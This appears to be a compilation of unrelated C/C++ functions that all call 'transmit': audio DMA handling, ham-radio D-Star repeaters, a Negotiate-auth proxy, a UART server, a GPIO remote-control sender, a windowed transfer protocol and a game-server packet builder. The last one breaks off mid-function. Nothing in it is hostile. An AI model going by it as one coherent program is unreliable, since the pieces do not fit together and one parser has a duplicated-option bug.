void AudioInputI2SQuad::update(void)
{
audio_block_t *new1, *new2, *new3, *new4;
audio_block_t *out1, *out2, *out3, *out4;
// allocate 4 new blocks
new1 = allocate();
new2 = allocate();
new3 = allocate();
new4 = allocate();
// but if any fails, allocate none
if (!new1 || !new2 || !new3 || !new4) {
if (new1) {
release(new1);
new1 = NULL;
}
if (new2) {
release(new2);
new2 = NULL;
}
if (new3) {
release(new3);
new3 = NULL;
}
if (new4) {
release(new4);
new4 = NULL;
}
}
__disable_irq();
if (block_offset >= AUDIO_BLOCK_SAMPLES) {
// the DMA filled 4 blocks, so grab them and get the
// 4 new blocks to the DMA, as quickly as possible
out1 = block_ch1;
block_ch1 = new1;
out2 = block_ch2;
block_ch2 = new2;
out3 = block_ch3;
block_ch3 = new3;
out4 = block_ch4;
block_ch4 = new4;
block_offset = 0;
__enable_irq();
// then transmit the DMA's former blocks
transmit(out1, 0);
release(out1);
transmit(out2, 1);
release(out2);
transmit(out3, 2);
release(out3);
transmit(out4, 3);
release(out4);
} else if (new1 != NULL) {
// the DMA didn't fill blocks, but we allocated blocks
if (block_ch1 == NULL) {
// the DMA doesn't have any blocks to fill, so
// give it the ones we just allocated
block_ch1 = new1;
block_ch2 = new2;
block_ch3 = new3;
block_ch4 = new4;
block_offset = 0;
__enable_irq();
} else {
// the DMA already has blocks, doesn't need these
__enable_irq();
release(new1);
release(new2);
release(new3);
release(new4);
}
} else {
// The DMA didn't fill blocks, and we could not allocate
// memory... the system is likely starving for memory!
// Sadly, there's nothing we can do.
__enable_irq();
}
}
void
ScrobSocket::stop()
{
transmit( "STOP c=bof\n" );
}
void CDExtraClientThread::transmit()
{
m_encodeData.clear();
m_dongle->setMode(DVDMODE_ENCODE);
// Pause until all the silence data has been processed by the AMBE2020
unsigned int startCount = 30U;
while (startCount > 0U) {
unsigned char frame[DV_FRAME_LENGTH_BYTES];
unsigned int n = m_encodeData.getData(frame, VOICE_FRAME_LENGTH_BYTES);
if (n > 0U)
startCount--;
Sleep(FRAME_TIME_MS / 4UL);
}
wxString rpt1 = m_reflector;
rpt1.Append(wxT(" "));
rpt1.Truncate(LONG_CALLSIGN_LENGTH - 1U);
rpt1.Append(m_module);
wxString rpt2 = m_reflector;
rpt2.Append(wxT(" "));
rpt2.Truncate(LONG_CALLSIGN_LENGTH - 1U);
rpt2.Append(wxT('G'));
CHeaderData* header = new CHeaderData(m_callsign, wxT("DNGL"), wxT("CQCQCQ "), rpt1, rpt2);
m_slowDataEncoder.reset();
m_slowDataEncoder.setHeaderData(*header);
#if defined(DUMP_AMBE)
m_dumper = new CDVTOOLFileWriter;
bool res = m_dumper->open(*header);
if (!res) {
delete m_dumper;
m_dumper = NULL;
} else {
wxLogMessage(wxT("Dumping AMBE to %s"), m_dumper->getFileName().c_str());
m_dumper->writeHeader(*header);
}
#endif
if (!m_message.IsEmpty())
m_slowDataEncoder.setMessageData(m_message);
m_protocol.writeHeader(*header);
delete header;
m_frameCount = 20U;
unsigned int endCount = 30U;
// While transmitting and not exiting
for (;;) {
unsigned char frame[DV_FRAME_LENGTH_BYTES];
unsigned int n = m_encodeData.getData(frame, VOICE_FRAME_LENGTH_BYTES);
if (n > 0U) {
if (m_frameCount == 20U) {
// Put in the data resync pattern
::memcpy(frame + VOICE_FRAME_LENGTH_BYTES, DATA_SYNC_BYTES, DATA_FRAME_LENGTH_BYTES);
m_frameCount = 0U;
} else {
// Tack the slow data on the end
m_slowDataEncoder.getData(frame + VOICE_FRAME_LENGTH_BYTES);
m_frameCount++;
}
if (m_transmit != CLIENT_TRANSMIT)
endCount--;
#if defined(DUMP_AMBE)
if (m_dumper != NULL)
m_dumper->writeFrame(frame, DV_FRAME_LENGTH_BYTES);
#endif
// Send the AMBE and slow data frame
if (endCount == 0U || m_killed) {
m_protocol.writeData(frame, DV_FRAME_LENGTH_BYTES, true);
break;
} else {
m_protocol.writeData(frame, DV_FRAME_LENGTH_BYTES, false);
}
if (m_tx) {
if (m_squelchInvert) {
if (m_controller->getSquelch()) {
transmit(false);
m_tx = false;
}
} else {
if (!m_controller->getSquelch()) {
transmit(false);
m_tx = false;
}
}
}
}
Sleep(FRAME_TIME_MS / 4UL);
}
m_dongle->setMode(DVDMODE_IDLE);
#if defined(DUMP_AMBE)
if (m_dumper != NULL) {
m_dumper->close();
delete m_dumper;
m_dumper = NULL;
}
#endif
resetReceiver();
m_transmit = CLIENT_RECEIVE;
}
int _tmain(int argc, _TCHAR* argv[])
{
// Get the command line options
WCHAR *lPort, *rPort, *rAddr, *targetName = NULL;
int i = 1;
argv[i] ? NULL : info(argv[0]);
bool showTargetName = false;
if (!_wcsicmp(argv[i], L"shT"))
{
showTargetName = true;
i++;
argv[i] ? NULL : info(argv[0]);
}
if (!_wcsicmp(argv[i], L"setT"))
{
(targetName = argv[++i]) ? NULL : info(argv[0]);
i++;
argv[i] ? NULL : info(argv[0]);
}
if (!_wcsicmp(argv[i], L"lp"))
{
(lPort = argv[++i]) ? NULL : info(argv[0]);
(rAddr = argv[++i]) ? NULL : info(argv[0]);
(rPort = argv[++i]) ? NULL : info(argv[0]);
}
else
{
lPort = L"3128";
(rAddr = argv[i++]) ? NULL : info(argv[0]);
(rPort = argv[i++]) ? NULL : info(argv[0]);
}
if (WSAInit()) return -1;
//----------------------------------------------------------------------------------------------------
ADDRINFOT hints, *remoteAddr = NULL, *inetAddr = NULL;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
int iResult = GetAddrInfo(rAddr, rPort, &hints, &remoteAddr);
if (iResult != 0)
{
switch (iResult)
{
case WSAHOST_NOT_FOUND: wprintf(L"Host not found\n"); break;
case WSANO_DATA: wprintf(L"No data record found\n"); break;
default: wprintf(L"Gethost function failed with error: %i\n", iResult);
}
return -1;
}
WCHAR hostName[NI_MAXHOST];
iResult = GetNameInfo(remoteAddr->ai_addr, sizeof(SOCKADDR), hostName, NI_MAXHOST, NULL, 0, NI_NAMEREQD);
if (iResult != 0)
{
switch (iResult)
{
case EAI_AGAIN: wprintf(L"The name can not be determined at the moment\n"); break;
case EAI_BADFLAGS: wprintf(L"The flags parameter has an invalid value\n"); break;
case EAI_FAIL: wprintf(L"Name info failed\n"); break;
case EAI_FAMILY: wprintf(L"It does not recognize the address family\n"); break;
case EAI_MEMORY: wprintf(L"Not enough memory\n"); break;
case EAI_NONAME: wprintf(L"The name can not be determined\n"); break;
default: wprintf(L"Nameinfo function failed with error: %i\n", iResult);
}
return -1;
}
if (!targetName)
{
targetName = buildTargetName(hostName);
}
if (showTargetName)
{
wprintf(L"Target Name: '%s'\n", targetName);
}
// Create a listening socket
SOCKET ListenSocket = newSock();
if (ListenSocket == INVALID_SOCKET) return -1;
// Listen address
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
iResult = GetAddrInfo(NULL, lPort, &hints, &inetAddr);
if (iResult != 0)
{
switch (iResult)
{
case WSAHOST_NOT_FOUND: wprintf(L"Host not found\n"); break;
case WSANO_DATA: wprintf(L"No data record found\n"); break;
default: wprintf(L"Gethost function failed with error: %i\n", iResult);
}
return -1;
}
//-------------------------
// Bind the listening socket
iResult = bind(ListenSocket, inetAddr->ai_addr, sizeof(SOCKADDR));
if (iResult != 0)
{
wprintf(L"bind failed with error: %i\n", WSAGetLastError());
return -1;
}
//-------------------------
// Create a new event
WSAEVENT NewEvent;
if (createEv(&NewEvent)) return -1;
//-------------------------
// Associate event types FD_ACCEPT and FD_CLOSE
// with the listening socket and NewEvent
iResult = WSAEventSelect(ListenSocket, NewEvent, FD_ACCEPT);
if (iResult != 0)
{
wprintf(L"WSAEventSelect failed with error: %i\n", WSAGetLastError());
return -1;
}
//-------------------------
// Start listening on the socket
iResult = listen(ListenSocket, 0);
if (iResult != 0)
{
wprintf(L"listen failed with error: %i\n", WSAGetLastError());
return -1;
}
wprintf(L"NegotiateProxy listen on port %s\n", lPort);
//-------------------------
// Add the socket and event to the arrays, increment number of events
SOCKET SocketArray[WSA_MAXIMUM_WAIT_EVENTS];
WSAEVENT EventArray[WSA_MAXIMUM_WAIT_EVENTS];
DWORD EventTotal = 0;
SocketArray[EventTotal] = ListenSocket;
EventArray[EventTotal++] = NewEvent;
//bool needAuth[WSA_MAXIMUM_WAIT_EVENTS];
//memset(needAuth, true, sizeof(needAuth));
bool toProxy;
DWORD secondIndex;
DWORD index;
SOCKET ClientSocket, ProxySocket;
WSANETWORKEVENTS NetworkEvents;
// The buffers for the reception - transmission
//char prBuff[BUFF_SIZE], clBuff[BUFF_SIZE];
int connections = 0;
char* previousMessagesArray[WSA_MAXIMUM_WAIT_EVENTS];
memset(previousMessagesArray, NULL, WSA_MAXIMUM_WAIT_EVENTS);
for (int i = 0; i < WSA_MAXIMUM_WAIT_EVENTS; previousMessagesArray[i] = NULL, i++) {}
while (1)
{
// Wait for network events on all sockets
index = WSAWaitForMultipleEvents(EventTotal, EventArray, FALSE, WSA_INFINITE, FALSE);
index -= WSA_WAIT_EVENT_0;
if ((index != WSA_WAIT_FAILED) && (index != WSA_WAIT_TIMEOUT))
{
WSAEnumNetworkEvents(SocketArray[index], EventArray[index], &NetworkEvents);
WSAResetEvent(EventArray[index]);
toProxy = (index % 2) ? true : false;
secondIndex = toProxy ? index + 1 : index - 1;
if ((NetworkEvents.lNetworkEvents & FD_ACCEPT) && (NetworkEvents.iErrorCode[FD_ACCEPT_BIT] == 0))
{
ClientSocket = accept(ListenSocket, NULL, NULL);
if (INVALID_SOCKET == ClientSocket) wprintf(L"Invalid socket\n");
ProxySocket = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == ProxySocket) wprintf(L"INVALID_SOCKET ERROR!!!\n");
iResult = connect(ProxySocket, remoteAddr->ai_addr, sizeof(SOCKADDR));
if (iResult != 0)
{
wprintf(L"Connection failed with error: %d\n", WSAGetLastError());
return -1;
}
printConnections(++connections);
if (createEv(&NewEvent)) return -1;
SocketArray[EventTotal] = ClientSocket;
EventArray[EventTotal] = NewEvent;
//-------------------------
// Associate event types FD_READ and FD_CLOSE
// with the client socket and NewEvent
iResult = WSAEventSelect(SocketArray[EventTotal], EventArray[EventTotal], FD_READ | FD_CLOSE);
if (iResult != 0)
{
wprintf(L"WSAEventSelect failed with error: %d\n", WSAGetLastError());
return -1;
}
EventTotal++;
if (createEv(&NewEvent)) return -1;
SocketArray[EventTotal] = ProxySocket;
EventArray[EventTotal] = NewEvent;
//-------------------------
// Associate event types FD_READ and FD_CLOSE
// with the proxy socket and NewEvent
iResult = WSAEventSelect(SocketArray[EventTotal], EventArray[EventTotal], FD_READ | FD_CLOSE);
if (iResult != 0)
{
wprintf(L"WSAEventSelect failed with error: %d\n", WSAGetLastError());
return -1;
}
EventTotal++;
}
if ((NetworkEvents.lNetworkEvents & FD_READ) && (NetworkEvents.iErrorCode[FD_READ_BIT] == 0))
{
// transfers data
iResult = transmit(
&SocketArray[index],
&SocketArray[secondIndex],
toProxy,
previousMessagesArray,
index,
targetName,
hostName,
remoteAddr->ai_addr,
&EventArray[index]);
if (iResult < 0) return -1;
}
if (NetworkEvents.lNetworkEvents & FD_CLOSE)
{
closesocket(SocketArray[secondIndex]);
closesocket(SocketArray[index]);
WSACloseEvent(EventArray[secondIndex]);
WSACloseEvent(EventArray[index]);
// Move from the top to the free place
SocketArray[index] = toProxy ? SocketArray[EventTotal - 2] : SocketArray[EventTotal - 1];
SocketArray[secondIndex] = toProxy ? SocketArray[EventTotal - 1] : SocketArray[EventTotal - 2];
EventArray[index] = toProxy ? EventArray[EventTotal - 2] : EventArray[EventTotal - 1];
EventArray[secondIndex] = toProxy ? EventArray[EventTotal - 1] : EventArray[EventTotal - 2];
EventTotal -= 2;
printConnections(--connections);
}
}
}
return 0;
}
void
ScrobSocket::pause()
{
transmit( "PAUSE c=bof\n" );
}
void uart1serv()
{
int r;
int cts = 1;
int rxtid;
int txtid;
int client_tid;
char buf[BUFSIZE];
char dummy;
/* We can receive a max of 64-bits from the controller at once, so have a
* buffer of twice that size. The queue is controlled by head and tail, items
* are removed from the head of the queue and removed from the tail.
* XXX, ugh this should be moved into a library...
*/
char input_queue[QUEUESIZE];
int head = 0, tail = 0;
int reader_queue[2]; // their TIDs
char output_queue[OQUEUESIZE];
int ohead = 0, otail = 0;
reader_queue[0] = 0;
reader_queue[1] = 0;
RegisterAs("com1");
// DPRINTOK ("Creating uart1 rx notifier.\n");
rxtid = Create(INTERRUPT, notifier_uart1rx);
if (rxtid < 0) PANIC;
// DPRINTOK ("Creating uart1 tx notifier.\n");
txtid = Create(INTERRUPT, notifier_uart1tx);
if (txtid < 0) PANIC;
FOREVER {
r = Receive(&client_tid, buf, BUFSIZE);
// DPRINTOK("UART1: received from client tid %d, mesg of size %d, first char"
// " %c\r\n", client_tid, r, buf[0]);
if (r < 0 || r > BUFSIZE) PANIC;
switch (buf[0]) {
case 'i': // from client, reentrant getc
if (head == tail) {
Reply (client_tid, NULL, 0);
}
else {
r = Reply(client_tid, &input_queue[head], 1);
head = (head + 1) % QUEUESIZE;
}
break;
case 'r': // from rxtd
if (client_tid != rxtid) {
DPRINTERR("UART1: WTF notifier didn't send us this RX, %d did\r\n",
client_tid);
PANIC;
}
if (Reply(client_tid, NULL, 0) != 0) PANIC;
/* Too bad if we overrun the circular buffer. It should be big enough */
input_queue[tail] = buf[1];
tail = (tail + 1) % QUEUESIZE;
// bwprintf (COM2, "got %c\n", buf[1]);
if (reader_queue[0]) { // someone is waiting
if (Reply(reader_queue[0], &input_queue[head], 1) != 0) PANIC;
head = (head + 1) % QUEUESIZE;
}
break;
case 'g': // from getc client
if (head == tail) { // circular buffer is empty
reader_queue[0] = client_tid;
}
else {
r = Reply(client_tid, &input_queue[head], 1);
head = (head + 1) % QUEUESIZE;
//r = Reply(reader_queue[0], &input_queue[head++], 1);
if (r != 0) {
DPRINTERR("UART1: reply failed with %d retval to client tid %d\r\n",
r, reader_queue[0]);
PANIC;
}
}
break;
case 't': // from txtd
if (client_tid != txtid) { DPRINTERR ("non-client sent a tx interrupt message.\n"); PANIC; }
if (cts >= 1) { DPRINTHUH ("Train controller reset maybe?"); Reply (client_tid, NULL, 0); }
cts = 1;
if (ohead != otail) {
ohead = transmit (output_queue, ohead, otail);
cts = 0;
Reply (client_tid, &dummy, 1); // we need interrupts on for the cts stuff
}
else {
Reply (client_tid, NULL, 0); // 0 means don't turn interrupts back on
}
break;
case 'p': // from putc client
//if (Reply(txtid, "putchar plz") != 0) PANIC;
output_queue[otail] = buf[1];
otail = (otail + 1) % OQUEUESIZE;
if (cts == 1) {
ohead = transmit (output_queue, ohead, otail);
cts = 0;
//bwprintf (COM2, "sent a char (putc), now cts %d\n", cts);
}
*(uint*)(VIC2BASE+INTEN_OFFSET) = UART1_MASK;
Reply (client_tid, NULL, 0); // interrupts on (we need to wait until we know we are really cts) TODO: could cts and txfe happen at the same time?
break;
default:
DPRINTERR ("unknown message to uart1 server.\n");
}
}
}
int main(int argc, char** argv) {
struct option long_options[] = { { "gpio", 1, 0, 0 },
{ "address", 1, 0, 0 }, { "command", 1, 0, 0 }, { "receiver", 1, 0, 0 },
{ "retry", 1, 0, 0 }, { NULL, 0, 0, 0 } };
unsigned int address = 0;
unsigned char receiver = 1;
long int a2i;
int gpio = -1;
char command = UNKNOWN;
char *end;
int retry = 5, i, c;
if (setuid(0)) {
perror("setuid");
return -1;
}
while (1) {
c = getopt_long(argc, argv, "", long_options, &i);
if (c == -1)
break;
switch (c) {
case 0:
if (strcmp(long_options[i].name, "gpio") == 0) {
a2i = strtol(optarg, &end, 10);
if (errno == ERANGE && (a2i == LONG_MAX || a2i == LONG_MIN)) {
break;
}
gpio = a2i;
} else if (strcmp(long_options[i].name, "address") == 0) {
a2i = strtol(optarg, &end, 10);
if (errno == ERANGE && (a2i == LONG_MAX || a2i == LONG_MIN)) {
break;
}
address = a2i;
} else if (strcmp(long_options[i].name, "receiver") == 0) {
a2i = strtol(optarg, &end, 10);
if (errno == ERANGE && (a2i == LONG_MAX || a2i == LONG_MIN)) {
break;
}
receiver = a2i;
} else if (strcmp(long_options[i].name, "command") == 0) {
command = get_command_char(optarg);
} else if (strcmp(long_options[i].name, "command") == 0) {
a2i = strtol(optarg, &end, 10);
if (errno == ERANGE && (a2i == LONG_MAX || a2i == LONG_MIN)) {
break;
}
retry = a2i;
}
break;
default:
usage(argv[0]);
}
}
if (command == UNKNOWN || address == 0 || gpio == -1 || receiver == 0) {
usage(argv[0]);
}
// store pid and lock it
store_pid();
if (wiringPiSetup() == -1) {
fprintf(stderr, "Wiring Pi not installed");
return -1;
}
openlog("homeasy", LOG_PID | LOG_CONS, LOG_USER);
syslog(LOG_INFO, "remote: %d, receiver, %d, command: %d\n", address,
receiver, command);
closelog();
pinMode(gpio, OUTPUT);
piHiPri(99);
for (c = 0; c != retry; c++) {
for (i = 0; i < 5; i++) {
transmit(gpio, address, receiver, command);
}
sleep(1);
}
return 0;
}
void CSoundCardRepeaterTXRXThread::run()
{
// Wait here until we have the essentials to run
while (!m_killed && (m_soundcard == NULL || m_protocolHandler == NULL || m_rptCallsign.IsEmpty() || m_rptCallsign.IsSameAs(wxT(" ")) || m_controller == NULL))
::wxMilliSleep(500UL); // 1/2 sec
if (m_killed)
return;
m_stopped = false;
m_controller->setActive(false);
m_controller->setRadioTransmit(false);
m_pollTimer.start();
wxDateTime dateTime = wxDateTime::Now();
m_lastHour = dateTime.GetHour();
m_inBuffer.clear();
wxLogMessage(wxT("Starting the sound card transmitter and receiver thread"));
unsigned int count = 0U;
wxStopWatch timer;
while (!m_killed) {
timer.Start();
// Process the incoming D-Star transmission
receiveRadio();
// Process network traffic
receiveNetwork();
repeaterStateMachine();
// Send the network poll if needed and restart the timer
if (m_pollTimer.hasExpired()) {
#if defined(__WINDOWS__)
m_protocolHandler->writePoll(wxT("win_sound-") + VERSION);
#else
m_protocolHandler->writePoll(wxT("linux_sound-") + VERSION);
#endif
m_pollTimer.reset();
}
// Clock the heartbeat output every one second
count++;
if (count == 50U) {
m_controller->setHeartbeat();
count = 0U;
}
// Set the output state
if (m_tx || (m_activeHangTimer.isRunning() && !m_activeHangTimer.hasExpired())) {
m_controller->setActive(true);
} else {
m_controller->setActive(false);
m_activeHangTimer.stop();
}
// Check the shutdown state, state changes are done here to bypass the state machine which is
// frozen when m_disable is asserted
m_disable = m_controller->getDisable();
if (m_disable) {
if (m_rptState != DSRS_SHUTDOWN) {
m_watchdogTimer.stop();
m_activeHangTimer.stop();
m_hangTimer.stop();
m_networkBuffer.clear();
m_bitBuffer.clear();
m_networkRun = 0U;
m_networkStarted = false;
m_controller->setActive(false);
m_controller->setRadioTransmit(false);
m_rptState = DSRS_SHUTDOWN;
}
} else {
if (m_rptState == DSRS_SHUTDOWN) {
m_watchdogTimer.stop();
m_hangTimer.stop();
m_rptState = DSRS_LISTENING;
m_protocolHandler->reset();
}
}
// Send the output data
if (m_networkStarted)
transmitNetwork();
else if (m_networkRun >= NETWORK_RUN_FRAME_COUNT)
transmitNetwork();
else
transmit();
getStatistics();
unsigned int ms = timer.Time();
clock(ms);
}
writeStatistics();
wxLogMessage(wxT("Stopping the sound card transmitter and receiver thread"));
m_controller->setActive(false);
m_controller->setRadioTransmit(false);
m_controller->close();
delete m_controller;
m_soundcard->close();
delete m_soundcard;
delete m_audioDelay;
delete m_pttDelay;
if (m_reader != NULL) {
m_reader->close();
delete m_reader;
}
m_protocolHandler->close();
delete m_protocolHandler;
#if defined(TX_TO_WAV_FILE)
if (m_writer != NULL) {
m_writer->close();
delete m_writer;
}
#endif
}
void start_Protocol(int *sock_fd,char* filename, unsigned long long int bytesToTransfer)
{
unsigned long long int transferred = 0;
unsigned long long int window_size = 1;
unsigned long long int packet_size = 10000; //840
unsigned long long int current_seq=1;
unsigned long long int last_ack;
unsigned long long int last_packet_size;
unsigned long long int total_ack;
unsigned long long int count_receive=0;
unsigned long long int window_id=0;
unsigned long long int start_seq=0;
unsigned long long int end_seq=0;
unsigned long long int start[5000],end[5000];
unsigned long long int offset[5000];
unsigned long long int current_packet_size[5000];
unsigned long long int total_message_size[5000];
char * mssg_pointer[5000];
int change_window=0;
int all_delivered=0;
int max_size;
while(transferred<bytesToTransfer)
{
if(packet_size>(bytesToTransfer-transferred))// only one packet needs to be send
{
window_size=1;
packet_size=bytesToTransfer-transferred;
//fprintf(stderr,"Last packet \n");
}
int i;
start[0]=transferred;
end[0]=transferred+packet_size;
window_id=0;
change_window++;
for(i=1;i<window_size;i++)
{
start[i]=end[i-1];
if(start[i]+packet_size>=bytesToTransfer)
{
packet_size=bytesToTransfer-start[i]; //this is the last packet
last_packet_size=packet_size;
window_size=i+1; //this will be the new max size of last window
end[i]=start[i]+packet_size;
//fprintf(stderr,"Last packet \n");
break;
}
end[i]=start[i]+packet_size;
//fprintf(stderr,"transferred =%d start %d end %d\n",transferred,start[i],end[i]);
}
start_seq=current_seq;
max_size=window_size;
for(i=0;i<window_size;i++)
{
offset[i]=start[i];
current_packet_size[i]=end[i]-start[i];
if(offset[i]+current_packet_size[i]==bytesToTransfer)
{
total_ack=current_seq-1;
//fprintf(stderr,"Last packet \n");
end_seq=current_seq;
current_seq=0;
all_delivered=1;
}
mssg_pointer[i]=create_message(current_packet_size[i],offset[i],current_seq,window_size,window_id,change_window);
total_message_size[i]=total_length;
//current_seq!=0 && current_seq!=1217 && current_seq!=2100 && current_seq!=3500 && current_seq!=5000
//if(current_seq%4!=0)//drop every odd seq packet
//{
if(transmit(mssg_pointer[i],sock_fd,total_message_size[i])==1)
{
if(current_seq!=0)
current_seq++;
transferred+=current_packet_size[i];
}
else// something bad happened , go for retransmission
{
fprintf(stderr,"Window retransmit unexpected behavior \n");
transferred-=current_packet_size[i];
i--;
//window_id/2;
}
window_id++;
//}
//else
//{
// transferred+=current_packet_size[i];
// if(current_seq!=0)
// current_seq++; //just for simulating forced drop
// window_id++; //just for simulating forced drop
// fprintf(stderr,"droped %d\n",current_seq-1);
//}
}
//fprintf(stderr," round over window size was %d \n",window_size);
/******************************Window has been sent look for ACK******************************************/
//change_window=0;
end_seq=start_seq;
last_ack=receive_protocol(sock_fd);
//fprintf(stderr,"last ack %lld wanted %lld \n", last_ack,current_seq);
if(last_ack!=current_seq || current_seq==0)//all packets did not got delivered
{
//fprintf(stderr,"congestion last ack %lld wanted %lld \n", last_ack,current_seq);
while(last_ack!=current_seq || current_seq==0)
{
for(i=0;i<window_size;i++)
{
//fprintf(stderr,"window_id %s\n",mssg_pointer[i]);
//fprintf(stderr,"rt ");
if(offset[i]+current_packet_size[i]==bytesToTransfer)//last packet rt
start_seq=0;
transmit(mssg_pointer[i],sock_fd,total_message_size[i]);
}
//fprintf(stderr,"\n");
last_ack=receive_protocol(sock_fd);
start_seq=end_seq;
}
if(window_size!=1)
{
window_size = window_size/2;
}
else
{
window_size+=1;
}
}
else
{
if(window_size<53) //window_size
window_size+=1;
}
//fprintf(stderr,"round over window_id %lld %lld\n",window_size,change_window);
for(i=0;i<max_size;i++)
free(mssg_pointer[i]);
}
}
msg_t I2C::write_byte(i2caddr_t addr, uint8_t regaddr, uint8_t value){
uint8_t to_transmit[2] = {regaddr, value};
msg_t msg;
msg = transmit(addr, to_transmit, 2, NULL, 0, TIME_INFINITE);
return msg;
}
void AudioInputAnalogStereo::update(void)
{
audio_block_t *new_left=NULL, *out_left=NULL;
audio_block_t *new_right=NULL, *out_right=NULL;
uint32_t i, dc;
int32_t tmp;
int16_t s, *p, *end;
//Serial.println("update");
// allocate new block (ok if both NULL)
new_left = allocate();
if (new_left == NULL) {
new_right = NULL;
} else {
new_right = allocate();
if (new_right == NULL) {
release(new_left);
new_left = NULL;
}
}
__disable_irq();
if (offset_left < AUDIO_BLOCK_SAMPLES || offset_right < AUDIO_BLOCK_SAMPLES) {
// the DMA hasn't filled up both blocks
if (block_left == NULL) {
block_left = new_left;
offset_left = 0;
new_left = NULL;
}
if (block_right == NULL) {
block_right = new_right;
offset_right = 0;
new_right = NULL;
}
__enable_irq();
if (new_left) release(new_left);
if (new_right) release(new_right);
return;
}
// the DMA filled blocks, so grab them and get the
// new blocks to the DMA, as quickly as possible
out_left = block_left;
out_right = block_right;
block_left = new_left;
block_right = new_right;
offset_left = 0;
offset_right = 0;
__enable_irq();
// Find and subtract DC offset... We use an average of the
// last 16 * AUDIO_BLOCK_SAMPLES samples.
dc = 0;
for (i = 0; i < 16; i++) {
dc += left_dc_average_hist[i];
}
dc /= 16 * AUDIO_BLOCK_SAMPLES;
left_dc_average_hist[current_dc_average_index] = 0;
p = out_left->data;
end = p + AUDIO_BLOCK_SAMPLES;
do {
left_dc_average_hist[current_dc_average_index] += (uint16_t)(*p);
tmp = (uint16_t)(*p) - (int32_t)dc;
s = signed_saturate_rshift(tmp, 16, 0);
*p++ = s;
} while (p < end);
dc = 0;
for (i = 0; i < 16; i++) {
dc += right_dc_average_hist[i];
}
dc /= 16 * AUDIO_BLOCK_SAMPLES;
right_dc_average_hist[current_dc_average_index] = 0;
p = out_right->data;
end = p + AUDIO_BLOCK_SAMPLES;
do {
right_dc_average_hist[current_dc_average_index] += (uint16_t)(*p);
tmp = (uint16_t)(*p) - (int32_t)dc;
s = signed_saturate_rshift(tmp, 16, 0);
*p++ = s;
} while (p < end);
current_dc_average_index = (current_dc_average_index + 1) % 16;
// then transmit the AC data
transmit(out_left, 0);
release(out_left);
transmit(out_right, 1);
release(out_right);
}
void NodeHandshakeExtension::HandshakeEndpoint::send(const dtn::data::Bundle &b)
{
transmit(b);
}
// This is for legacy up to 5.0(?). Cuz ML added new bytes in the middle of the packet.
void send_full_statmsg_std( Client *client, Character *chr )
{
PKTOUT_11_V1 msg;
msg.msgtype = PKTOUT_11_V1_ID;
if( (client->UOExpansionFlag & AOS) )
{
msg.msglen = ctBEu16(sizeof msg);
msg.moreinfo = 04; // Set to AOS level statbar for full info
}
else
{
unsigned short msglen = offsetof( PKTOUT_11_V1, statcap );
msg.msglen = ctBEu16(msglen);
msg.moreinfo = 01; // Set to oldschool statbar info.
}
msg.serial = chr->serial_ext;
strzcpy( msg.name, chr->name().c_str(), sizeof msg.name );
if (uoclient_general.hits.any)
{
long v = chr->vital(uoclient_general.hits.id).current_ones();
if (v > 0xFFFF)
v = 0xFFFF;
msg.hits = ctBEu16( static_cast<u16>(v) );
v = chr->vital(uoclient_general.hits.id).maximum_ones();
if (v > 0xFFFF)
v = 0xFFFF;
msg.max_hits = ctBEu16( static_cast<u16>(v) );
}
else
{
msg.hits = 0;
msg.max_hits = 0;
}
msg.renameable = 0; // (client->chr->can_rename( chr ) ? 0xFF : 0);
//if (chr->race == RACE_ELF)
// msg.gender = static_cast<u8>(chr->gender | FLAG_RACE);
//else
msg.gender = static_cast<u8>(chr->gender);
if (uoclient_general.strength.any)
{
long v = chr->attribute(uoclient_general.strength.id).effective();
if (v > 0xFFFF)
v = 0xFFFF;
msg.str = ctBEu16( static_cast<u16>(v) );
}
else
{
msg.str = 0;
}
if (uoclient_general.dexterity.any)
{
long v = chr->attribute(uoclient_general.dexterity.id).effective();
if (v > 0xFFFF)
v = 0xFFFF;
msg.dex = ctBEu16( static_cast<u16>(v) );
}
else
{
msg.dex = 0;
}
if (uoclient_general.intelligence.any)
{
long v = chr->attribute(uoclient_general.intelligence.id).effective();
if (v > 0xFFFF)
v = 0xFFFF;
msg.intel = ctBEu16( static_cast<u16>(v) );
}
else
{
msg.intel = 0;
}
if (uoclient_general.stamina.any)
{
long v = chr->vital(uoclient_general.stamina.id).current_ones();
if (v > 0xFFFF)
v = 0xFFFF;
msg.stamina = ctBEu16( static_cast<u16>(v) );
v = chr->vital( uoclient_general.stamina.id ).maximum_ones();
if (v > 0xFFFF)
v = 0xFFFF;
msg.max_stamina = ctBEu16( static_cast<u16>(v) );
}
else
{
msg.stamina = 0;
msg.max_stamina = 0;
}
if (uoclient_general.mana.any)
{
long v = chr->vital(uoclient_general.mana.id).current_ones();
if (v > 0xFFFF)
v = 0xFFFF;
msg.mana = ctBEu16( static_cast<u16>(v) );
v = chr->vital(uoclient_general.mana.id).maximum_ones();
if (v > 0xFFFF)
v = 0xFFFF;
msg.max_mana = ctBEu16( static_cast<u16>(v) );
}
else
{
msg.mana = 0;
msg.max_mana = 0;
}
msg.gold = ctBEu32( chr->gold_carried() );
// Adjusted to work with Physical Resist if AOS client, and AOS Resistances enabled.
if( (client->UOExpansionFlag & AOS) && client->aosresist )
msg.AR = (chr->element_resist.physical < 0)?ctBEu16(0x10000+chr->element_resist.physical):ctBEu16(chr->element_resist.physical);
else
msg.AR = ctBEu16( chr->ar() );
msg.weight = ctBEu16( static_cast<u16>(chr->weight()) );
if ( msg.moreinfo >= 4 )
{
msg.statcap = ctBEu16( chr->expanded_statbar.statcap );
msg.followers = chr->expanded_statbar.followers;
msg.followers_max = chr->expanded_statbar.followers_max;
msg.fireresist = (chr->element_resist.fire < 0)?ctBEu16(0x10000+chr->element_resist.fire):ctBEu16(chr->element_resist.fire);
msg.coldresist = (chr->element_resist.cold < 0)?ctBEu16(0x10000+chr->element_resist.cold):ctBEu16(chr->element_resist.cold);
msg.poisonresist = (chr->element_resist.poison < 0)?ctBEu16(0x10000+chr->element_resist.poison):ctBEu16(chr->element_resist.poison);
msg.energyresist = (chr->element_resist.energy < 0)?ctBEu16(0x10000+chr->element_resist.energy):ctBEu16(chr->element_resist.energy);
msg.luck = ctBEu16( chr->expanded_statbar.luck );
msg.damage_min = ctBEu16( chr->min_weapon_damage() );
msg.damage_max = ctBEu16( chr->max_weapon_damage() );
msg.titching = ctBEu32( chr->expanded_statbar.tithing );
}
